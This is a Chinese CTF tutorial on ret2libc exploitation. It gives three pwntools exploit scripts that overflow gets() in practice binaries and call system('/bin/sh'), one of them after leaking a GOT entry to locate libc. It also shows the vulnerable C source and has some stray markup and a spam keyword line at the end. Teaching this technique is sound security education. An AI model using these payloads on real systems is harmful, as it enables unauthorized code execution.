<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    ret2libc

    ret2libc 即控制函數的執行 libc 中的函數,通常是返回至某個函數的 plt 處或者函數的具體位置(即函數對應的 got表項的內容)。一般情況下,我們會選擇執行 system(“/bin/sh”),故而此時我們需要知道 system 函數的地址。

    例題1

    鏈接: https://pan.baidu.com/s/1HMSvARbRRUQd9lp5CXgRDw 密碼: 1mdq

    ret2libc
    checksec一下看看,32位程序并且開啟了NX堆棧不可執行保護。
    放到IDA F5反編譯觀察,確定漏洞位置。

    ret2libc

    發現gets()處有漏洞利用點。
    按照題目的hint去找一下是否有可利用的字符串來讓我們進行使用。
    ret2libc
    查看一下system()函數是否存在,如果存在我們就可以構造system(“/bin/sh”)拿到shell了。

    EbiFHBPwco.png!large

    ret2libc
    lcXLo5IrBm.png!large

    發現確實存在,exp如下

    from pwn import *
    
    sh = process("./ret2libc1")
    
    binsh = 0x08048720
    
    system_plt = 0x8048460
    
    whatever_addr = 0xcafebabe
    
    payload = flat( [b'A'*112, p32(system_plt), p32(whatever_addr), p32(binsh)] )
    
    sh.sendline(payload)
    
    sh.interactive()

    這里我們注意whatever_addr這個變量,還有payload = flat( [b'A'*112, p32(system_plt), p32(whatever_addr), p32(binsh)] )payload的構造,在填充棧空間無效字符A后,接著是返回地址重寫到system()函數,這時system()函數需要一個字符串指針作為參數,那么我們要考慮到函數調用傳參的規則構造一個虛假的返回地址,其后位參數對應的內容。
    這一個例題很簡單,同時提供了”/bin/sh”和system()函數給我們利用,但是絕大多數情況出題人不會對我們這么好的。
    題目源碼如下

    #include <stdio.h>
    #include <stdlib.h>
    #include <time.h>
    
    char *shell = "/bin/sh";
    char buf2[100];
    
    void secure(void)
    {
        int secretcode, input;
        srand(time(NULL));
        secretcode = rand();
        scanf("%d", &input);
        if(input == secretcode)
            system("shell!?");
    }
    
    int main(void)
    {
        setvbuf(stdout, 0LL, 2, 0LL);
        setvbuf(stdin, 0LL, 1, 0LL);
        char buf1[100];
        printf("RET2LIBC >_<\n");
        gets(buf1);
    
        return 0;
    }
    

    例題2

    鏈接: https://pan.baidu.com/s/1soQoZC3FuQx3xTjVDJjayw 密碼: c0fc
    checksec然后放進IDA下F5

    ret2libc
    同樣的在gets()函數處有溢出點
    但是并沒有發現”/bin/sh”字符串可以利用

    BofR7OebPd.png!large

    不過我們發現了gets()函數,那我們可以利用gets輸入system()的參數
    那么就需要考慮在哪里保存我們輸入的字符串了,在.bss段中發現了這樣一個好東西

    ret2libc
    可以將參數保存在這里
    exp如下

    from pwn import *
    sh = process("./ret2libc2")
    
    buf_addr = 0x804A080
    gets_addr = 0x8048460
    sys_addr = 0x8048490
    
    payload = flat( [b'A'*112, p32(gets_addr), p32(sys_addr), p32(buf_addr), p32(buf_addr)] )
    sh.sendline(payload)
    sh.sendline("/bin/sh")
    
    sh.interactive()

    解釋一下payload為什么這么構造,前提是要完全理解例題1的解。首先填充無效字符,接著就是覆蓋返回地址為gets()函數的地址了。上一題我們在之后就是填充0xcafebabe用來占用返回地址的空間,因為上一題我們調用system()后就直接拿到shell了,所以不需要考慮到底是什么,但是這里后續還要調用函數,所以我們直接填充system()地址即可,同時還要在棧上滿足system()調用的規范。

    例題3

    鏈接: https://pan.baidu.com/s/1hB4WupxMexooFuUSd9Auaw 密碼: a6c1
    一樣的套路checksec
    ret2libc
    放到IDA下反匯編F5

    ret2libc
    一樣的,有gets()存在漏洞溢出點

    lqluOPv0oF.png!large

    觀察一下發現有gets但是沒有system()了,但是題目中又給了一個libc.so動態鏈接庫,那么我們如何得到 system 函數的地址呢?

    首先考慮我們如何得到system()函數的地址,這里有兩個知識點。

    • system()屬于libc,libc.so動態鏈接庫中的相對地址偏移offset是不變的。
    • A真實地址(內存物理地址) - A偏移地址 = B真實地址(內存物理地址) -B偏移地址 = 基地址

    也就是說B的真實地址 = 基地址 + B偏移地址
    所以如果我們知道 libc 中某個函數的地址,那么我們就可以確定該程序利用的 libc。進而我們就可以知道 system函數的地址。
    一般的方法是通過got表泄漏來得到libc中某個函數的具體地址,需要輸出函數的got表項的具體內容。考慮到libc的延遲綁定機制(前面講過),我們需要泄漏已經執行過的函數的地址,因為已經執行過的話就會有真實地址了,也就是說會在got表中生存下來。

    ret2libc
    交互時通過u32轉換成地址,打印出來就可以看到結果。
    這里泄漏puts的地址,同理可以泄漏__libc_start_main的地址。
    ret2libc
    拿到libc版本和偏移量后就可以計算真正的地址了,這里需要計算system()和”/bin/sh”,以此來拿shell。

    exp

    from pwn import *
    
    sh = process("./ret2libc3")
    elf = ELF("./ret2libc3")
    puts_plt = elf.plt['puts']
    got_puts = elf.got['puts']
    got_libc_startmain = elf.got['__libc_start_main']
    main = elf.symbols['main']
    
    payload1 = flat( [b'A'*112, puts_plt, main, got_puts] )
    sh.sendlineafter('!?', payload1)
    puts_addr = u32(sh.recv(4))
    
    # libc6_2.27-3ubuntu1.2_i386
    libc_puts = 0x67c10 #offset
    libc_system = 0x3d250
    libc_binsh = 0x17e3cf
    
    libc_base = puts_addr - libc_puts
    system_addr = libc_base + libc_system
    binsh_addr = libc_base + libc_binsh
    
    payload2 = flat( [b'A'*112, system_addr, 0xcafebabe, binsh_addr] )
    sh.sendlineafter('!?', payload2)
    
    sh.interactive()

    參考

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类